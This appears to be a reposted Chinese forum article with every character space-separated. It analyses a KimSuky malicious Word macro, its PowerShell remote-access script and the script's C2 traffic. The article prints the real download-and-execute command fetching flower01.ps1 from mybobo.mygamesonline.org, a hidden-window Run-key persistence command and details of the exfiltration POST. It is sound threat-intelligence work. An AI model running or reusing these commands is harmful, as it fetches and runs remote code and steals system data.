搜索

[15693] 2020-08-05_一次KimSuky攻击事件分析

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2020-08-05_一次KimSuky攻击事件分析 一 次 K i m S u k y 攻 击 事 件 分 析 h o h o h a h e   F r e e B u f   2 0 2 0 - 0 8 - 0 5 0 x 0 0   背 景 背 景 近 日 ， 在 平 时 的 威 胁 情 报 收 集 中 ， 发 现 了 一 起 韩 国 A P T 组 织 K i m S u k y 的 攻 击 事 件 ， 对 整 个 事 件 进 行 完 整 分 析 之 后 ， 觉 得 自 己 对 样 本 分 析 和 流 量 分 析 的 认 识 又 上 了 一 层 楼 ， 在 这 里 分 享 给 大 家 ， 希 望 可 以 一 起 学 习 进 步 。 0 x 0 1   分 析 工 具 分 析 工 具 W i n 7   6 4 位 o f f i c e 2 0 1 3 W i r e s h a r k 0 x 0 2   样 本 背 景 样 本 背 景 样 本 M D 5 为 0 7 D 0 B E 7 9 B E 3 8 E C B 8 C 7 B 1 C 8 0 A B 0 B D 8 3 4 4 ， 来 源 于 免 费 沙 箱 a p p . a n y . r u n 。 a p p . a n y . r u n 是 一 个 国 际 化 的 免 费 沙 箱 ， 有 非 常 友 好 的 界 面 ， 可 以 很 好 地 跑 出 大 部 分 恶 意 样 本 的 行 为 、 网 络 请 求 等 信 息 。 并 且 它 可 以 免 费 下 载 样 本 ， 目 前 是 我 分 析 样 本 的 主 要 来 源 。 a p p . a n y . r u n 的 P u b l i c   s u b m i s s i o n s 会 显 示 每 天 捕 获 到 的 新 样 本 ， 然 后 用 户 可 以 点 击 到 对 应 的 样 本 中 查 看 沙 箱 报 告 以 及 下 载 样 本 。 在 某 天 我 看 到 了 如 下 的 样 本 ： a p p . a n y . r u n 提 示 这 是 一 个 o f f i c e 宏 的 恶 意 文 件 ， 考 虑 到 近 年 来 ， 非 P E 的 恶 意 文 件 已 经 越 来 越 流 行 。 故 尝 试 将 这 个 样 本 下 载 回 来 进 行 分 析 。 0 x 0 3   样 本 分 析 样 本 分 析 首 先 ， 通 过 v i r u s t o t a l 获 取 样 本 的 一 些 基 本 信 息 。 通 过 v i r u s t o t a l 可 以 得 知 ， 样 本 原 始 名 称 ： 붙 임 .   전 문 가   칼 럼   원 고   작 성   양 식 . d o c 首 先 ， 通 过 v i r u s t o t a l 获 取 样 本 的 一 些 基 本 信 息 。 通 过 v i r u s t o t a l 可 以 得 知 ， 样 本 原 始 名 称 ： 붙 임 .   전 문 가   칼 럼   원 고   작 성   양 식 . d o c 创 建 时 间 和 上 传 V T 时 间 如 下 ： 根 据 文 件 投 放 名 称 ，   可 以 初 步 判 断 该 样 本 是 用 于 攻 击 朝 鲜 / 韩 国 的 恶 意 样 本 ， 光 从 文 件 名 上 暂 时 无 法 确 定 攻 击 目 标 。 打 开 样 本 ， 样 本 伪 装 为 微 软 官 方 ， 提 示 用 户 启 用 宏 以 查 看 内 容 启 用 宏 之 后 ， 文 档 内 容 更 改 为 如 下 所 示 ：
翻 译 之 后 如 下 ： 《 专 家 评 论 》 稿 件 制 作 样 式 ▶ 人 文 名 调 1 1 p t ， 行 距 1 6 0 % ， 2 张 以 内 分 量 开 城 工 业 园 区 专 家 评 论 . . 。 原 始 文 件 是 o f f i c e 宏 代 码 的 恶 意 样 本 ， 准 备 对 宏 代 码 调 试 的 时 候 发 现 代 码 被 加 密 了 ： 通 过 工 具 破 解 宏 密 码 之 后 看 到 宏 代 码 如 下 ， 主 要 功 能 是 在 c : w i n d o w s t e m p 路 径 下 释 放 一 个 b o b o . t x t 文 件 ， 然 后 将 一 行 p o w e r s h e l l 命 令 写 入 到 该 文 件 中 ， 再 调 用 执 行 。 这 里 由 于 分 析 到 是 p o w e r s h e l l . e x e 指 令 指 令 ， 于 是 重 新 打 开 样 本 ， 并 通 过 火 绒 剑 检 测 p o w e r s h e l l . e x e 的 行 为 这 里 可 以 看 到 ， 是 读 取 ’ c : w i n d o w s t e m p b o b o . t x t ’ 的 内 容 然 后 通 过 i e x 执 行 b o b o . t x t 内 容 如 下 I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ‘ h t t p : / / m y b o b o . m y g a m e s o n l i n e . o r g / f l o w e r 0 1 / f l o w e r 0 1 . p s 1 ‘ ) 该 段 代 码 的 主 要 功 能 是 从 h t t p [ : ] / / m y b o b o . m y g a m e s o n l i n e . o r g / f l o w e r 0 1 / f l o w e r 0 1 . p s 1 下 载 一 个 新 的 p o w e r s h e l l 脚 本 。 而 该 域 名 已 经 被 打 上 了 K i m S u k y 的 标 签
但 是 经 过 分 析 ， 该 地 址 目 前 已 经 不 返 回 数 据 了 思 路 思 路 1   通 过 通 过 v t 查 找 查 找 这 个 时 候 我 们 接 着 回 到 V T ， 可 以 看 到 如 下 的 内 容 ： 跟 过 来 之 后 发 现 有 成 功 请 求 之 后 保 留 的 文 件 顺 着 这 个 文 件 h a s h ， 就 可 以 找 到 目 标 p o w e r s h e l l 脚 本 了
如 果 有 v t 下 载 权 限 ， 即 可 通 过 该 h a s h 将 p o w e r s h e l l 脚 本 下 载 回 来 。 思 路 思 路 2   通 过 通 过 a p p . a n y . r u n 的 流 量 包 的 流 量 包 我 们 回 到 a p p . a n y . r u n 的 页 面 ， 可 以 发 现 在 沙 箱 中 ， 样 本 是 正 常 与 服 务 器 通 信 ， 并 且 保 留 了 流 量 的 ， 我 们 直 接 把 数 据 包 下 载 到 本 地 进 行 分 析 和 提 取 。 可 以 看 到 ， 样 本 首 先 是 通 过 三 次 握 手 与 服 务 器 建 立 了 建 立 ， 紧 接 着 就 通 过 g e t 请 求 的 方 式 访 问 了 下 载 页 面 而 后 面 服 务 器 返 回 的 数 据 ， 应 该 就 是 f l o w e r 0 1 . p s 的 内 容 了 根 据 数 据 包 大 小 可 以 得 知 ， 返 回 的 内 容 从 第 二 个 数 据 包 开 始 ： 由 于 是 明 文 传 输 ， 直 接 复 制 为 纯 文 本 就 可 以 将 几 个 数 据 包 的 内 容 复 制 到 编 辑 器 中 ， 脚 本 就 从 流 量 中 提 出 来 了
流 量 分 析 流 量 分 析 既 然 已 经 打 开 了 流 量 包 ， 就 多 分 析 一 点 接 着 往 后 看 ， 可 以 看 到 本 地 主 机 还 对 C 2 发 送 了 P O S 数 据 包 ， 且 看 后 面 包 的 大 小 ， 基 本 可 以 判 定 是 在 窃 密 了 。 而 这 一 段 流 量 应 该 是 刚 才 下 载 回 来 的 p s 脚 本 发 起 的 ， 所 以 不 出 意 外 的 话 ， 本 次 攻 击 的 最 终 载 荷 就 是 这 个 p s 脚 本 了 。 （ 毕 竟 也 够 长 ） 这 里 p o s t 请 求 的 内 容 是 ： 其 中 有 几 个 关 键 信 息 1 .   b o u n d a r y = — — W e b K i t F o r m B o u n d a r y w h p F x M B e 1 9 c S j F n G . . 我 们 可 以 通 过 搜 索 引 擎 检 索 W e b K i t F o r m B o u n d a r y w h p F x M B e 1 9 c S j F n G ， 会 得 到 如 下 的 结 果 P O S T   / f l o w e r 0 1 / p o s t . p h p   H T T P / 1 . 1 . . C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ; b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y w h p F x M B e 1 9 c S j F n G . . H o s t :   m y b o b o . m y g a m e s o n l i n e . o r g . . C o n t e n t - L e n g t h :   1 0 6 9 4 . . E x p e c t :   1 0 0 - c o n t i n u e . . . .
通 过 搜 索 引 擎 反 馈 的 结 果 我 们 可 以 知 道 ， 该 串 字 符 不 是 首 次 出 现 ， 早 在 1 8 年 ， 在 针 对 韩 国 冬 奥 会 的 攻 击 中 就 已 经 出 现 过 。 而 且 也 被 爆 与 K i m S u k y 有 关 联 。 p o s t 请 求 成 功 之 后 ， 服 务 器 会 返 回 C o n t i n u e 接 着 客 户 端 会 尝 试 以 1 2 6 0 字 节 大 小 为 数 据 包 ， 向 服 务 器 发 送 加 密 数 据 之 后 再 次 请 求 f l o w e r 0 1 . p s 1 分 析 分 析 虽 然 从 搜 索 引 擎 来 看 ， 基 本 可 以 确 定 本 次 所 使 用 的 p o w e r s h e l l 应 该 是 P o w e r S h e l l   E m p i r e 框 架 生 成 的 远 控 ， 但 并 不 复 杂 ， 也 可 以 详 细 分 析 一 下 。 脚 本 首 先 定 义 了 一 些 全 局 变 量 根 据 定 义 的 这 些 全 局 变 量 可 以 看 出 来 后 续 的 通 信 地 址 应 该 是 ： ” h t t p : / / m y b o b o . m y g a m e s o n l i n e . o r g / f l o w e r 0 1 / “ 用 于 接 收 上 传 信 息 的 文 件 ： “ p o s t . p h p ” 上 传 的 用 户 名 ： “ f l o w e r 0 1 ” 上 传 的 I D ： ” f l o w e r 0 1 ” 保 存 的 l o g 文 件 名 ： $ L O G _ F I L E N A M E   =   “ f l o w e r 0 1 . h w p ” 保 存 的 l o g 文 件 路 径 ： $ L O G _ F I L E P A T H   =   “ f l o w e r 0 1 ” 休 眠 时 间 ： $ T I M E _ V A L U E   =   1 0 0 0 6 0 6 0 应 该 是 调 用 执 行 脚 本 ： $ E X E   =   “ r u n d l l 3 2 . e x e ” 调 用 f u n c ： $ M y f u n c N a m e   =   “ R u n ” 写 入 的 注 册 表 键 值 ： $ R e g V a l u e N a m e   =   “ A l z i p u p d a t e ” 写 入 的 是 开 机 自 启 动 的 键 ： $ R e g K e y   =   “ H K C U : S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n ” 最 后 这 个 应 该 是 计 划 任 务 ： $ r e g V a l u e   =   “ c m d . e x e   / c   p o w e r s h e l l . e x e   - w i n d o w s t y l e   h i d d e n   I E X   ( N e w - O b j e c t S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ‘ h t t p : / / m y b o b o . m y g a m e s o n l i n e . o r g / f l o w e r 0 1 / f l o w e r 0 1 . p s 1 ‘ ) ” 接 着 ， 脚 本 定 义 了 一 些 方 法 ， 分 别 是 ： R T 6 > R T J E ^ @ d R + R U P _ ? ” P — — — W e b K i t F o r m B o u n d a r y w h p F x M B e 1 9 c S j F n G   C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = ” M A X _ F I L E _ S I Z E ”   1 0 0 0 0 0 0 0   — — — W e b K i t F o r m B o u n d a r y w h p F x M B e 1 9 c S j F n G   C o n t e n t - D i s p o s i t i o n :   f o r m -
从 方 法 名 ， 基 本 可 以 确 定 这 是 一 个 p o w e r s h e l l 远 控 ， 可 以 收 集 信 息 、 文 件 上 传 、 文 件 下 载 、 样 本 持 久 化 等 功 能 。 在 m a i n 函 数 下 断 点 ， 可 以 看 到 样 本 首 先 定 义 后 后 面 l o g 文 件 的 路 径 ， 然 后 会 判 断 是 否 有 对 应 的 注 册 表 键 值 ， 即 判 定 是 否 已 经 设 置 为 开 机 自 启 动 了 。 如 果 返 回 F a l s e ， 则 会 通 过 修 改 H K C U : S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n 的 方 式 将 自 己 加 入 到 开 机 自 启 动 。 并 且 调 用 G e t _ i n f o 函 数 ， 参 数 是 s z L o g P a t h ， 也 就 是 C : U s e r s S h y t A p p D a t a R o a m i n g f l o w e r 0 1 f l o w e r 0 1 . h w p 所 以 这 里 的 f l o w e r 0 1 . h w p 是 用 于 保 存 G e t _ i n f o 函 数 收 集 到 的 信 息 在 G e t _ i n f o 中 ， 会 写 入 几 个 目 录 信 息 然 后 将 s y s t e m i n f o 以 及 当 前 的 进 程 全 部 写 入 到 f l o w e r 0 1 . h w p 如 果 返 回 T r u e ， 则 会 进 入 一 个 永 真 循 环 ， 循 环 调 用 F i l e U p l o a d i n g 和 D o w n l o a d 函 数 ， 并 在 调 用 完 成 之 后 进 行 一 段 时 间 的 休 眠 第 一 次 调 用 F i l e U p l o a d i n g 的 时 候 会 判 断 是 否 存 在 路 径 F i l e U p l o a d i n g ， 也 就 是 C : U s e r s x x x A p p D a t a R o a m i n g f l o w e r 0 1 f l o w e r 0 1 . h w p 如 果 存 在 则 调 用 后 面 的 U p l o a d F u n c ， 如 果 不 存 在 则 直 接 返 回 如 果 存 在 f l o w e r 0 1 . h w p 则 说 明 信 息 采 集 成 功 ， 则 调 用 U p l o a d F u n c 准 备 上 传 在 U p l o a d F u n c 方 法 中 ， 会 读 取 f l o w e r 0 1 . h w p 的 h e x 数 据 ， 然 后 通 过 d e c o d e 进 行 加 密 再 上 传 到 服 务 器 f u n c t i o n   d e c o d e ( $ e n c s t r ) f u n c t i o n   U p L o a d F u n c ( $ l o g p a t h ) f u n c t i o n   F i l e U p l o a d i n g ( $ u p P a t h N a m e ) f u n c t i o n   D o w n l o a d f u n c t i o n   G e t _ i n f o ( $ l o g p a t h ) f u n c t i o n   m a i n
加 密 算 法 是 自 定 义 的 变 异 凯 撒 加 密 ， 即 a s c i i 替 换 的 方 式 调 用 完 成 之 后 会 调 用 D o w n l o a d 函 数 ： 函 数 会 尝 试 从 h t t p : / / m y b o b o . m y g a m e s o n l i n e . o r g / f l o w e r 0 1 / f l o w e r 0 1 . d o w n 获 取 数 据 并 传 入 到 d e c o d e 函 数 进 行 解 码 如 果 下 载 失 败 ， 则 会 尝 试 访 问 h t t p : / / m y b o b o . m y g a m e s o n l i n e . o r g / f l o w e r 0 1 / d e l . p h p ? f i l e n a m e = f l o w e r 0 1 获 取 返 回 值
因 为 不 想 用 干 净 的 网 络 访 问 C 2 ， 所 以 我 还 是 尝 试 通 过 a p p . a n y . r u n 的 在 线 沙 箱 跑 一 下 这 个 p o w e r s h e l l 样 本 。 虽 然 成 功 跑 起 来 了 ， 但 是 看 到 了 一 些 报 错 信 息 于 是 把 对 应 的 报 错 信 息 、 s l e p p 都 删 除 了 ， 重 新 上 传 。 发 现 服 务 器 m y b o b o . m y g a m e s o n l i n e . o r g 已 经 挂 了 ， 没 有 后 续 的 数 据 了 。 0 x 0 4   总 结 总 结 至 此 ， 样 本 的 分 析 已 经 完 成 ， 在 本 次 恶 意 样 本 分 析 中 ， 我 们 可 以 发 现 ， 通 常 情 况 下 ， 攻 击 者 特 别 是 定 向 攻 击 者 ， 会 在 实 施 攻 击 后 的 不 久 就 将 攻 击 所 使 用 的 服 务 器 给 下 架 。 如 果 没 有 捕 获 到 具 体 的 攻 击 样 本 或 是 没 有 全 流 量 记 录 的 设 备 。 可 能 会 在 被 攻 击 者 窃 取 机 密 数 据 的 情 况 下 还 截 然 不 知 。 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理